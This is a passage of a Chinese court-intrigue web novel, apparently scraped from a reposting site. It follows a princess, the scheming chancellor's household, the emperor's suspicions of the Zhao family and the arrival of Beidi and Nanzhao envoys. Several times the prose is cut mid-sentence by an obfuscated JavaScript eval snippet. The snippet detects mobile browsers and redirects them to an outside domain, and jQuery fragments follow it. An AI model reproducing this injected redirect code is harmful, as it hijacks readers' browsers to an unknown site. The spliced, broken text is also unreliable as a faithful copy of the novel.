总得想个什么法子,让这个疯婆子跪在自己跟前才好…… “小姐给殿下磕个头,便与老奴一起归府吧!” 高若馨不禁想起在祖父门外偷听到他与府中詹士的谈话…… 她心头一松,面上便浮上抹得意的笑;她不下跪,只朝商无忧微微屈了屈膝,高声道:“臣女这便告辞了!” “殿下好好养伤,十日之后还有殿下受得;殿下这条命可是懿慈皇后用自己的命换回来的,若您十日之后有个万一,岂不要背负不孝之名……” 商无忧笑容渐淡。 申嬷嬷眸色一厉,忙沉声喝止道:“小姐莫要浑说!再不走,便是有心打扰殿下休养了,小姐忘记丞相的嘱托了吗?” 不过是祖父跟前一个奴婢,竟敢这般和自己说话! 待她归府,必要想个法子要了此人性命! 高若馨转过身瞥了申嬷嬷一眼,沉着脸道:“走就走,祖父的话我都记得,用不着嬷嬷对我耳提面命!” 看着二人远去的背影,商无忧这才缓缓道:“那婆子走路连声音都没有,定是个练家子;能让高子霖派在孙女身边,陪她来国公府中向本宫探病,又将话说的那般铿锵有力,此人定是个人物!” “表哥觉得呢?” 一个身影从檐上翻了下来。 那人来至商无忧身旁,低声道:“此人明里是高子霖夫人身边管事婆子,实则却是高家暗卫的首领,精通刺杀之术;她聪慧、狡诈,不仅能处理府内事务,在政事上也有独到见解,算是高子霖的左膀右臂。” “表兄知道的这么清楚!” 商无忧微微一笑,忽道:“那婆子年纪也不算大,又是个女子,怎么就成了高子霖的左膀右臂?莫非……” 卫真见她一脸怪相,便叹道:“谲儿好生聪慧,竟被你一眼看出来了……这女子算是高子霖的青梅竹马,原也是官宦之后,因父亲在权势争夺中站错了队,竟连累的全家发配边疆,因缘际会之下,这女子竟**得一身阴诡之道,高子霖掌权后这女子寻了回来,高子霖对她余情未了,这才将人收在身边。” 商无忧双眼圆睁,“没想到高家老贼竟这般长情!可他毕竟是百官之首,难不成为着些风花雪月之事,便将身家性命交于人手?” 她饶有兴致的道:“表哥,你说那高夫人知不知道自己身旁的管事婆子竟和自己的丈夫有一腿?她若不知,便是个蠢的!她若知道,这么多年来又是如何忍下来的?” 卫真默了默,不好意思的咳了一声,这才道:“他们三人之事,我岂能得知……不过我估计高夫人不知二人之事,她出身高门,如今已年过五十,若是知道夫君与自己身旁的婆子私通,只怕早就被气**。” “不过那姓申的女子亦颇有手腕,听说她曾替高子霖生下一个女儿,高子霖将这孩子放在妾室身边养大,又因这姓申的女子身后高强,这才放心将她任命为暗卫首领。” “老贼当真风流啊……” 让她想一想,这件事能不能做做文章…… “谲儿,高家那丫头最后一句说的什么意思?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649101|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卫真皱起眉头,沉声道:“高家此番是来**的,听那婆子的意思是提醒你别再以太液池之事与高、张两家过不去,可高若馨那句‘十日之后有得受’却让我十分担心。” 他思忖片刻,才道:“十日后北狄使团入城,难不成她指的是这件事?可北狄人此番为的是何谈,为何要针对于你……” 商无忧拖着塞道:“这也说不定,眼下那北狄玄王还在我屋后地下的暗劳力关着呢!” 卫真一凛,“不是说玄王行刺,被皇帝关进天牢了吗?人怎么会在你手中?” “他没行刺父皇,刺客是我派的……” 卫真一惊,却听商无忧继续道:“不过他也没那么无辜,他和朝中人联手想破坏司命祭礼,若不是我手下的死士去刺杀父皇,指不定他们的诡计便要成功了!” 商无忧说道此处眼神一暗,“祭礼上那三波人,一半是北狄人,一半是我的死士,生下那一半又是什么人……” 卫真想了想,忽的郑重道:“你放心,我这就将陈氏暗人撒出去,此番我无论如何也要保你平安。” 商无忧柔柔一笑,“有表哥在,谲儿自是放心!” ----------------- “小姐为何不听丞相的话?咱们出府时丞相便吩咐过,此番小姐不必说话,长公主但有责罚自有老奴替您顶着,怎么小姐一到了国公府便将丞相的话忘了?” 高若馨瞪了她一眼,不屑道:“你一个奴婢怎么敢驳我的话?高府是没有规矩了吗?” “还有我的婚事,你们为何要瞒着我?娘不是说已与舅舅商量好,两家亲事不作数,过上一阵便要解除婚约吗?” 申嬷嬷闻言淡淡道:“老奴也是听吩咐办事,丞相大人怎么说,奴婢就怎么做。小姐再高贵总越不过丞相去……” “至于婚事,张子昂因小姐而落了残疾,此事高家若不负责到底便会彻底得罪了张家,丞相也是为了高家好……” 高若馨心头一堵—— 原来在祖父眼中,自己亦不过是一枚确保家族兴旺的棋子! 张子昂她不能嫁! 既然祖父不仁,她便要为自己打算起来才是! 第一百四十四章 两国来使 六月初六,原定是北狄使团入京的日子,谁料这一日边关却传来急报—— 北狄、南诏屯兵边境! 北狄率兵十万,南诏率兵五万,两国一南一北、于大辉边境遥相呼应,隐隐有犯边之意。 边境不安,京都不禁动荡,辉帝忙不迭召集文武百官研究应对之策。 “北狄、南诏如此动作,不知诸位爱卿有何高见?” 面对辉帝的询问,满朝文武一时鸦雀无声, 高子霖已解了禁足,见状不慌不忙的上前一步,沉声道:“依老臣愚见,北狄与南诏似有暗中联络,如若不然两国为何同一日在边境增兵?看来其中大有玄机!” 群臣一见丞相开了口,这才纷纷议论起来—— “北狄人好生卑鄙,一面派使臣入京、一面与南诏暗中勾结,简直是拿我们辉人当猴子耍!” “可不是,北狄也就罢了,南诏本是我西南附属之国,如今也敢和大辉叫板了!” “北狄人恁的可恶,一边以玉玺吊咱们的胃口,一边叫玄王在司命祭礼上刺杀陛下,简直无耻之极!” …… 朝堂上一时众说纷纭,高子霖见状轻咳了一声,片刻后太极殿上这才恢复了威严。 辉帝皱了皱眉,寒声道:“那卿等可有应对之策?” 中书令裴衍缓步出列,高声道:“臣以为南诏不过芥癣之乱,朝廷真正该重视的实为北狄!” “曹衡将军引十万兵马驻扎南境,南诏区区五万人实在不足为惧,西北边境却是有些麻烦。” 裴衍顿了顿方道:“狄人兵强马壮,多亏宁老国公父子率众御敌,这才断了北狄人南下之路。只可惜冀州一战老国公父子战死,大辉亦损失了十万强兵,只怕……” “中书大人此言差矣,难不成没了他赵洵,大辉朝便没人能守北境了吗?” 高炯哼了一声,“中书令莫不是忘了,是何人叫我大辉十万儿郎埋骨便将?赵家父子战败、其罪还未论,裴大人却只惦记着二人之功,这是何道理?” 尚书令崔明朗闻言便道:“高大人此话有理,不过胜败乃兵家常事,老国公一去北境确实没有合适的武将,也难怪裴大人如此担忧……” 高炯看了他一眼,这老狐狸忒奸诈,一句话说完两边都不得罪, 他忙向上拱手,“谁说无人能领兵,微臣推荐虎威将军镇守北境!” 兵部尚书孙礼闻言眉心一跳,垂眸默然不语。 裴衍道:“安将军资历尚浅,如何能安北境军心?” 高炯嘿嘿一笑,“若没有虎威将军,只怕赵家军便要全军覆没了;他可是唯一从雁荡山活着回来的将领,自然能带兵抗击北狄!” “高大人是礼部的官儿,没想到却对用兵之事有独到见解,” 裴衍瞥了他一眼,忽的朝高子霖躬了躬身,“高相果真教子有方!” 高子霖连眉毛都没抬,只低声道:“中书令客气了,犬子也算是个武人,事关朝政,群臣当可各抒己见。” 他朝上一拱手,高声道:“陛下,老臣以为当务之急是要弄清北狄与南诏究竟密谋了些什么!南诏虽不足为患,可若这位居南北的两国联手,大辉难免腹背受敌。” 辉帝点了点头,“丞相此言有理!” 高子霖闻言继续道:“北狄使团前几日便该入京,可眼下人却迟迟不到,臣已照会四方馆中的北狄使者,据他们说因玄王涉嫌谋刺陛下,北狄临时换了使臣,入城的时间这才有所推迟。” “臣以为,司命祭礼上北狄人刺杀陛下一时查无实据,是不是可以将这位玄王放出来?” 他顿了顿,继续道:“值此敏感时刻,还是不要激怒北狄人为好!” “陛下不可!” 御史中丞白高辅忙道:“北狄人刺杀陛下,如若就此放他们离去,往后我大辉在四国之内还有什么脸面!” “白大人说得对!” 裴衍点了点头,向上拱手道:“请陛下三思。” 辉帝不置可否,朝着高子霖道:“丞相可知北狄使团走到哪里了?” “微臣不知!” 辉帝冷哼一声,“校事府何时变得这般没用,怎么连使团的踪迹都查不到?!” “也罢,朕告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在众人目光灼灼的注视下,赵元婴宠辱不惊的走了出来,俯身跪拜道:“微臣愿往!只是臣到底年轻,又从未经过外交之事,还请陛下派一位礼部官员与臣同行!” 他答应的倒快! 辉帝闻言便道:“孙爱卿,此事便交由你处置了!” 礼部尚书孙礼忙一躬道地,“陛下放心,臣一定派一得力干将辅助宁国公!” 待散了朝,辉帝单独召见了赵元婴。 他脸上带着和煦的笑,朝跪在地上男子道:“朕曾赐你父亲见驾不跪之权,你如今是朕的女婿,以后见朕也莫要跪了!” 赵元婴温润的道:“陛下恩深似海,然则礼不可废,微臣怎敢不敬君父。” “你这孩子,恁的多礼!” 辉帝笑了笑,温和道:“你兄长的伤如何了?朕听说他丢了一臂,若不是谲儿请国师为之打造一义肢,便是连站都站不稳……唉,原指望着征西将军痊愈后能再战沙场,没想到……” 赵元婴心头一跳。 皇帝这话,便是不再追究雁荡山下兄长之过了?! “陛下所言不错,” 赵元婴面上带着几分失落,低声道:“自从兄长重伤归府,人便沮丧起来。眼下他赋闲在家,日日忧愁伤感,恨自己不能为国征战、替赵家一雪前耻。” 皇帝闻言叹了口气,“你父亲与祖父何等英豪,有他们在,大辉的北境便太平。只可惜他二人一朝不慎,中了北狄人的埋伏,如今落了个尸骨无存,倒叫朕无限唏嘘!” 他看了眼一脸没落的赵元婴,轻声安慰道:“宁国公放心,朕是念旧之人。大辉边境安宁,赵家祖孙三代功不可没。雁荡山一役我朝虽大伤元气,却无法掩盖国公府的功绩。” “朕会保留你父亲和祖父的封号,让天下人都记住他父子二人的功绩!” “你兄长既不能再为大辉征战沙场,朕便在兵部给他找个闲职,必不叫他整日无所事事、继续沉沦,如何?” 赵元婴眼中漫上一丝惊喜之色,忙不迭向上叩头:“臣代祖父、父亲和兄长,叩谢陛下隆恩!” “好了好了,都是一家人,快起来吧!” 皇帝叫人为赵元婴看了座,便屏退了左右,这才继续道:“玄王夏逸关在你府上,此人可还安分?” 赵元婴忙道:“有长公主殿下镇着,他闹不出什么花样!” 皇帝叹道:“这就好。沛之不知,刺杀朕的其实另有其人,夏逸不过是替人背锅而已……” 赵元婴一怔,“这……怎会如此?” “朕怀疑策划刺杀之人就在朝中,朕本想顺藤摸瓜查出背后之人,岂料北狄竟与南诏暗中勾结,看北狄的意思似乎并不重视这位玄王,此人竟成了烫手的山芋!” 赵元婴默了默,这才道:“那陛下的意思是……” “北狄屯兵西北,这是**!既如此便决不能给他们发兵的理由,这卫玄王,只怕要好生送回去!” 皇帝继续道:“谲儿日渐康复,也该帮着朕分忧才是。朕那两个儿子只知争权,朕能指望的唯有谲儿了!” 赵元婴心头一凛—— 却听皇帝继续道:“无论如何,玉玺必须要拿回来!” “夏逸乃是北狄先王之子,本该是稳定皇位之人,却被如今的太后以一己之力生生从皇位上拉了下来。北狄太后和皇帝将其视为眼中钉,你与谲儿若能拿捏好分寸,便能在北狄皇室中埋下一颗**。” 皇帝深深看了赵元婴一眼,沉声道:“朕的意思,你可明白?” 赵元吉苦笑一声,“臣是怕自己有心无力……” “朕的长公主,一双天眼可窥未来!” 赵元婴闻言一怔,“臣确实听过此传闻。可臣与长公主朝夕相对这么多日子,并未发现殿下有何异常之处啊……” 皇帝叹了口气,“洛阳公变之后谲儿生了一场大病,此后她的天眼便失了效用。” “可朕觉得,长公主会恢复的!” 皇帝盯着赵元婴的双眼,沉声道:“谲儿是朕与先皇后的女儿,自幼便聪慧异常。” “国师与朕说过,你与她命数相合,国公府的气运亦有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649103|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助于谲儿天眼恢复。朕是怕谲儿害怕,不敢将天眼恢复之事禀告给朕。你是她身边之人,日后需替朕留意,若发现长公主有天眼恢复之兆,速来告知朕知晓。” “此事关乎国运,你切记不可隐瞒于朕!” 赵元婴心头愈发冰冷,口中却恭敬的道:“陛下有命,臣莫敢不从!” 皇帝点了点头,这才道:“只要你照顾好长公主,荣华富贵朕都能给你。至于迎接使团之事,你若有什么不明白的只管去问孙礼就是。” 说到此处他语带深意道:“朕等着你的好消息!” ----------------- “陛下这是不放心宁国公?” 见头带面具的黑衣人出现在龙椅之后,辉帝闻言默了默,忽道:“朕总觉得在赵元婴身上看到了他祖父的影子,那可是个难缠的主儿!” 黑衣人笑道:“再难缠不也死在陛下手中了?何况赵元婴这乳臭未干的毛孩子……不过陛下试探一番也好,我也怕自己看走了眼!” 辉帝默了默,又道:“你说谲儿的天眼到底还在不在?” 黑衣人摇了摇头,“咱们试了这么多次,她均未露出破绽,依我看这孩子是真的失了能力。” 说到此他又补了一句,“淑妃也真是狠,竟用小皇子的血给谲儿下蛊……” 辉帝面色肃然,冷冷道:“后宫夫人只知争宠,若没有高子霖在后头筹谋,淑妃怎么会想到用这么恶毒的法子诅咒朕的长公主?” “陛下是怀疑高家有不臣之心?” 皇帝闻言冷哼一声,“今日朝上群臣都要看他高子霖的眼色,他这个丞相做的竟比朕这个皇帝还有派头!谲儿没了天眼,朕自然就不知道往后谁要**!” 黑衣人叹了口气,“早知道谲儿小时候会那般胡闹,我便将那谶纬之书藏好了。若不是那书被谲儿付之一炬,便是没有那孩子的天眼,陛下的江山也能稳如泰山……” 皇帝摇了摇头,“罢了,好歹你眼疾手快、留下了那一页,否则商氏的**江山只怕要改姓陈了……” 第一百四十六章 南诏使团 “听说赵元婴与赵元吉两兄弟好似起了龃龉,这是怎么回事?” 黑衣人微一踟蹰,这才道:“国公府中的探子回报,赵元吉之妻赵元吉对其夫与无忧走的过近颇为不满,因此与之大吵了一架;赵元吉当时并未发怒,事后也照常与长公主来往,国公府大小姐与孙家和离之事便是赵元吉去办的。” 辉帝默了默,这才道:“依你看,赵元吉对无忧是不是真的存了旁的心思?” “这也难说。” 黑衣人叹了口气,“这两个孩子有同门之谊,感情上自是比旁人来的更近……不过想来无忧对赵元吉只有师兄妹之情。她贵为公主,身旁自是围满了青年才俊,除了与那位陈家表少爷来往频繁些,对他人一向都不屑一顾……这也难怪,无忧乃成大事者,对自家的驸马也没多亲厚!” 辉帝闻言便道:“赵元婴有祖父之风,如今他袭了爵,朕是怕赵家野心再起。” 黑衣人笑道:“陛下不必多虑,赵元婴可没入过军,在军中毫无威望……” “可他毕竟是赵家人!赵元吉虽已是个残废,在军中余威仍在;若有朝一日他兄弟二人齐心协力、登高一呼,我大辉几十万大军必会一呼百应!” 黑衣人闻言略一沉吟,便道:“那陛下的意思……” “赵洵除了出征时不爱奉令这一条让朕不满,领兵打仗却从未让朕失望过!冀州之战朕不过小惩大诫,谁料竟至他父子二人再难回还,如今北狄屯兵北境,朕已陷入无人可用的窘境。” 皇帝叹了口气,“朕当时只想着借机敲打他父子一番,这才令兵部、户部暂缓辎重输送,又派人催促他们应战……朕不过是想叫赵洵明白,朕是大辉国君,即便他贵为国公,依旧是朕的臣子。朕是怕军中只识赵家父子、而不识君王,谁承想赵家军竟会落得个全军覆没的下场……” 黑衣人默了默,便道:“此事和陛下无关,说起来也是赵家父子时运不济,赵洵谨慎一生,没想到冀州一战竟会落入北狄人的陷阱。他一生忠勇、死后竟连全尸都没留下……” “陛下刚刚说无人可用,朝会时高炯不是举荐了虎威将军领兵西北?” 辉帝冷哼一声,“安思政不过是赵洵手下一名偏将,若不是看在他救回赵元吉的份上,朕断断不会赏给他这么高的官职……成王说得对,赵家父子俱亡,军心难免不稳,朕只有升了安思政的官、保存赵家兄弟爵位才能安定人心!” 辉帝眸中闪着冰冷的光,沉声道:“朕可以给赵家脸面,却不能眼睁睁的看着他兄弟二人再次做大——唯有他二人失和,朕才能放心!” 黑衣人思忖片刻,这才道:“事关公主名声,陛下难道真的……” “窈窕淑女、君子好逑!朕的女儿乃是女中魁首,惦记着她的人可不止她他赵元吉一个!你可知谲儿未嫁之时,还有谁一直孜孜不倦的向朕求亲?” 黑衣人一怔,“这、我只听说张家……” 辉帝笑道:“不错,就是那张子昂!他被谲儿伤成那个样子,却还给朕上书、说愿娶长公主为妻,如此痴心之人,你道好不好笑?” 黑衣人哼了一声,“张子昂德行有亏,如何配得上谲儿?!” “可不就是这个道理!” 辉帝摇了摇头,“便是那北狄玄王是怕也对谲儿有些旁的心思,如若不然怎么会豁出性命去救她……这也难怪,谲儿不仅出身高贵,样貌、聪慧更是举世无双,爱美之心人皆有之,此乃人之常情!只要赵元吉不做出格之举,朕倒愿意多个人护在谲儿身前,便是当个挡箭牌也是好的!” 黑衣人躬了躬身,“陛下的意思我知道了。” 辉帝摆了摆手,“朕不管你要如何做,第一得叫赵家兄弟反目,第二不准伤到朕的女儿!” ----------------- “陛下,前头就要到约定之地了!” “嘘,小声些!你想让旁人知道朕藏身在使团之中吗?” 南诏使团中一辆不起眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649104|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车上坐着两个十七八岁的少年,其中一人一身锦衣,眉清目秀、唇红齿白,当真一副翩翩公子模样;另一人则一身侍卫装扮,猿臂蜂腰,看着便是个高手。 锦衣少年轻轻打起面前的车帘,低声道:“大辉果真是好地方,连气候都比我南诏好上许多,难怪此地物华天宝、人杰地灵!” 他转头朝身旁少年叮嘱道:“以后记得叫我少爷,眼下已入了大辉,你若再叫错只怕要引起旁人怀疑。身处他国之地,我这南诏皇帝只怕自身难保!” 少年点了点头,这才道:“这一路山高路远,少爷您犯不上来这一趟;若是路上有个什么水土不服,南诏往后可怎么办……” “国中有姐姐坐镇,本少爷不担心!” 看着锦衣少年一脸不以为然,少年侍卫叹了口气。 “便是有公主操持国事,公子也着实任性了些!您一声不响的从宫中跑了出来,待您回了南诏,公主殿下必会跟您动手的!” 锦衣少年微微一笑,“此番舅舅做了出使大辉的使者,本公子若不趁机跟着他出来玩玩儿,岂不要被憋死在宫里?” 少年护卫撇了撇嘴,小声嘀咕道:“公子您说这话也不怕亏心!往日里朝务都是公主殿下和太师在处理,您就只顾着玩儿,朝政之事也是兴致高时才偶尔为之。您自己说,咱们南诏上下您哪里没去过、哪里没玩过?您若说自己憋屈,叫公主殿下情何以堪?!” “南诏才多大!朝政不算繁杂,姐姐有励精图治之心,便该由她多操些心。” 锦衣少年一双眼牢牢盯住窗外的风景,不经意道:“就是朝臣们太过虚伪,他们心里面害怕朕、厌恶朕,面上偏做出一副恭敬、谦卑的样子,本公子实在看不惯!” 陛下手腕阴诡、残暴,百官怎能不惧?! 少年不敢将此话讲明,只得道:“公子,前头就要到咱们与北狄约定会盟之地了,听说北狄有意嫁一位公主过来,您说那公主会不会就在北狄使团车队之中?” 第一百四十七章 两手准备 “公子,内算官大人请您往前头一叙。” “知道了。” 少年侍卫闻言忙叫马夫加快速度朝前奔去,到了车队最前端这才叫了停了,随后小心翼翼的护着锦衣少年上了前头一辆最豪华的车驾。 “舅舅……父亲,您叫我?” 南诏国内算官异目赞缓缓睁开眼,朝自己身旁的位子拍了拍,低声道:“来我身边坐吧!” “我要与少爷说话,叫外头的人都散开!” 听到内算官的吩咐,侍从、侍卫们忙不迭散去。 异目赞这才朝锦衣少年拜了下去,“王爷万安!” “舅舅免礼!” 锦衣少年笑着开口,“都是我任性,在车队启程时才叫阿楠将我与堂兄调换,此举害的舅舅一路提心吊胆。我也说了,此番出行不拿架子,我既与您父子相称,您又何必总是多礼?” 异目赞这才直起身,叹道:“既如此王爷就别怪臣无礼了!” 他口气一转,低声斥道:“皮劫逻,你实在太任性了!你可是受了大辉皇帝敕封的南诏王,眼下正是南诏与大辉对峙的敏感时刻,你身系南诏国运,却如此随意的潜入使团、随我入了大辉,若是在路上出了什么事,你叫我如何老王爷交待?” 皮劫逻撇了撇嘴,低声道:“舅舅息怒,此番我并非贪玩才随您来至大辉。大辉之前十分强盛,我南诏六国这才依附于他;可如今大辉国力日下,军力亦是今非昔比,咱们若想要自立,本王便当知己知彼!” “纸上得来终觉浅——我今年不过二十,对大辉的了解除了书本上的记载便是长辈们的口述,可仅靠这些如何能够胜过强大的辉朝?” “姐姐聪慧、骁勇,她日理万机的治理南诏,这辈子都没出过皇宫一步;我想做姐姐的眼睛,替她来大辉看上一看!” “本王想了解大辉的风土人情和官场上的尔虞我诈,此事非亲临大辉不能见。唯有如此,待本王归国后心中才有底气与大辉对抗!” 异目赞闻言半晌无语,这才叹道:“王爷能如此上进乃是南诏百姓之福……罢了,待你归国,公主面前自有舅舅替你周旋,保管你的屁股开不了花!” 皮劫逻闻言不由在心中偷笑—— 舅舅深谙朝政,就是这性子过于耿直了些,自己两句话便将他骗的团团转,以后自己可要提醒看好他,千万别被奸诈的朝臣骗了! 他清了清嗓子,一本正经的道:“眼看就要到与北狄会盟之地了,不知舅舅此时找我来究竟是为了何事?” 异目赞伸手替他抚平衣角的褶皱,低声道:“咱们需早做准备,北狄人只怕要反水……” 皮劫逻一愣,“舅舅此话何意?” “之前北狄派密使入南诏,与我们商量联手对抗大辉之事。为表诚意,他们答应将北狄太后亲出的公主嫁于你为妃,到时由北狄出兵争夺大辉冀州,南诏则出兵西南牵制大辉兵力。大辉两线作战,必不长久。到时北狄吞并冀州,在三国和谈时便将荆州两城割与南诏,南诏随后自立,你便可登基称帝。” 皮劫逻点了点头,“虽然我不喜欢蛮夷之地来的公主,可北狄确实兵强马壮,为了南诏能成功脱离大辉,我受些委屈也无妨……” “两国约定六月初六兵压边境,使团于同时入京,待北狄与大辉交手,我们再从旁策应;当时曾约定两国使团在大辉京都城外百里的陵县会盟,商谈举兵之后的事。” 异目赞说罢眼神一黯,“可今日咱们的密探带了消息,北狄使团途经陵县时未做停留,如今已直奔大辉都城而去!依我看,北狄与咱们结盟之事只怕是生了变故。可这变故是出在北狄人身上还是辉人身上,眼下还不得而知……” 皮劫逻闻言半晌无语,忽道:“舅舅不是派了我南诏精锐秘密潜入北狄使团,他们怎么说?” 异目赞摇了摇头,“之前北狄玄王因搅乱司命祭礼被辉帝投入天牢,此事后来没了动静;北狄听说此事便又更换了主使,且使团内确实载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649105|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着位神秘女子,只可惜咱们的人并没探出她的身份……” “临阵换使?此事不妙!” 皮劫逻将眉头一皱,“南诏国力无法与北狄匹敌,若北狄只想用咱们当做与辉人谈判的筹码,实则根本没想分咱们一杯羹,我们也无可奈何!” 异目赞道:“王爷放心,公主早有安排,只要北狄公主不入我南诏的宫门,咱们与北狄约定便算不得数。殿下还说了,便是此番北狄真的兴兵攻打大辉,我们也要权衡再三方能出兵!” 皮劫逻叹道:“姐姐说的不错,曹衡还有十万兵马驻扎在咱们眼皮子底下,这人眼里可不揉沙子!” 异目赞点了点头,“此番请王爷来,是想与您商量商量,接下来咱们到底该怎么办。” 皮劫逻道:“眼下使团退回南诏只怕来不及……” “依我看不如直入大辉京都!” “可咱们入了京又能如何?!” 异目赞皱起眉,忧虑道:“南诏与北狄同日增兵边境,使团又是前后脚抵达大辉都城,此番举动落在辉人眼里定会觉得咱们两国是约定好了的。咱们堂而皇之地入城,若是辉帝一怒之下派曹恒兴兵讨伐南诏,可如何是好?” “北狄人这般有恃无恐,无外乎是大辉宁国公战败、去了他们一块心病的缘故。” 皮劫逻双眼微眯,细细的盘算起来。 “大辉在冀州一战折了十万兵马,西北战场已无人可用。可百足之虫死而不僵,北狄此番定是探听到了什么,这才变得谨慎起来。舅舅不必惊慌,北狄人可比咱们着急!” 他笑嘻嘻道:“南诏这些年来因山匪之事大辉摩擦不断,此番咱们可以此为借口,找辉帝讨个说法——只要他叫曹衡将山匪剿灭,我南诏愿继续称臣!” “此番入京,舅舅需做好两手准备!” 皮劫逻说到此处眼中寒芒骤起,“两面三刀之事不止他北狄会做,若他们真想背信弃义,南诏便与大辉联手灭了他们!” 第一百四十八章 使团之礼 因在养病,这段时间商无忧每日都是睡到日上三竿才起床,小厨房亦会送上精心烹饪的佳肴;一般人养伤皆要忌荤腥、饮食需得清淡。商无忧却不同,她的桌上顿顿都少不了荤腥之物,且吃的越多人便越精神! 余霜等人见状愈发努力、什么胡炮肉、糟烧鹅,各种美味佳肴调着样的往商无忧面前端,在众人齐心协力之下,商无忧胸前的伤恢复的愈发好了! 渐渐地、国公府中人便都知道,长公主的洛神轩中各样吃食最是可口! 因此洛神轩便来了两个小馋猫—— 赵不移整日里拉着妹妹孙颖来商无忧这里蹭饭吃,下人们都说小少爷和小小姐这两日壮实了许多;孩子们长得好,郭碧云和赵子芳两人自是高兴,二人为表感激便叫人送来不少新鲜瓜果,直言这些东西有助于长公主调养身体。 只可惜两个孩子正在长身体、胃口极好,这些瓜果最后多半都落入了他们口中! 养病之余商无忧竟破天荒的做起了针线活! 红珠奖状十分稀奇,便在私下里偷偷向余霜打听:“姑姑,咱们殿下这是在做什么?” 霜姑姑微微一笑,“殿下如今已嫁为人妇,做些女红也是应该的!” 红珠一边瞟着她家殿下,一边小心翼翼道:“可奴婢瞧着长公主手中竟不似寻常针线,缝补之物亦不似普通锦缎……” 霜姑姑啧了一声,“这就对了,咱们殿下不是一般人,又岂会做寻常之物?” 红珠闻言吐了吐舌头,原来姑姑也不知殿下在做什么! 商无忧做完手头上的东西便叫碧萝用箱子将之束之高阁,是以红珠到最后也不知长公主究竟秀了个什么花样! 这一日商无忧照样睡到日上三竿,待用完了早膳外头却传来些异样的声响。 商无忧朝外头瞧了瞧,便朝福童道:“外头什么声音,好似是什么人在吵闹?” 余霜一边吩咐下人端上瓜果,一边道:“凭他什么事,殿下您只管养着就是!自从大小姐和离之后,老太君的眼睛便盯在咱们洛神轩身上,只等着寻到什么错处好整治您呢!殿下眼下第一要务便是将伤养好,旁的事自有太夫人和国公爷去管,殿下无需劳心!” 商无忧随手拿起颗果子,随后便往榻上一歪,口中随意道:“史太君乃是先昭德郡王嫡女,说起来本宫还需唤她一声姑母,她赵元婴的祖母,便是在本宫面前托大些也无妨!” 碧萝则道:“也不知那位老人家究竟对殿下有什么不满!自打您一嫁进来,赵家可是一直走的上坡路——驸马爷不仅承了爵、还顶了羽林中郎将的实缺;大老爷如今又在兵部任了职,国公府的日子可算是蒸蒸日上了!这可全是托了殿下的福,老太君怎么还这么不知恩……” 商无忧笑道:“你觉得赵家是托了我的福,老太君却觉得她那德才兼备的乖乖孙是被我这神厌鬼弃之人给耽搁了!” 碧萝撇了撇嘴,“能娶得长公主老太君竟还不甘心?!奴婢就不信,这大辉朝找得出第二个比殿下更好的女子……” 主仆二人正说着,却见福童从外头走了进来,商无忧见他面色有异,忙道:“外头可是出了什么事?若是难办我叫霜姑姑陪你走一趟便是!” 福童摇了摇头,低声道:“刚刚老太君身旁的人将小少爷和小小姐叫走了。来人说话声太低,奴婢实在没听清,可奴婢看着他的脸色,前头似有大事发生!” 他话音刚落,却听外头忽的传来一阵嘹亮的哭泣声,其中夹杂着阵阵怒吼和咒骂,商无忧闻言眉头愈发纠结。 “福童,你赶紧出去看看!” “是!” 福童抬脚刚要走,却见卫真沉着脸走了进来。 “殿下,北狄使团入京了,如今他们堵在国公府门口,非闹着要见宁国公,说是要送礼!” 商无忧一怔,“北狄人给赵家送礼?送的是什么?” 闻言卫真眼中寒光一闪,沉声道—— “人头!” ----------------- “宁国公现下何处,父亲和祖父的头颅他到底还要不要?” 国公府门口,一个 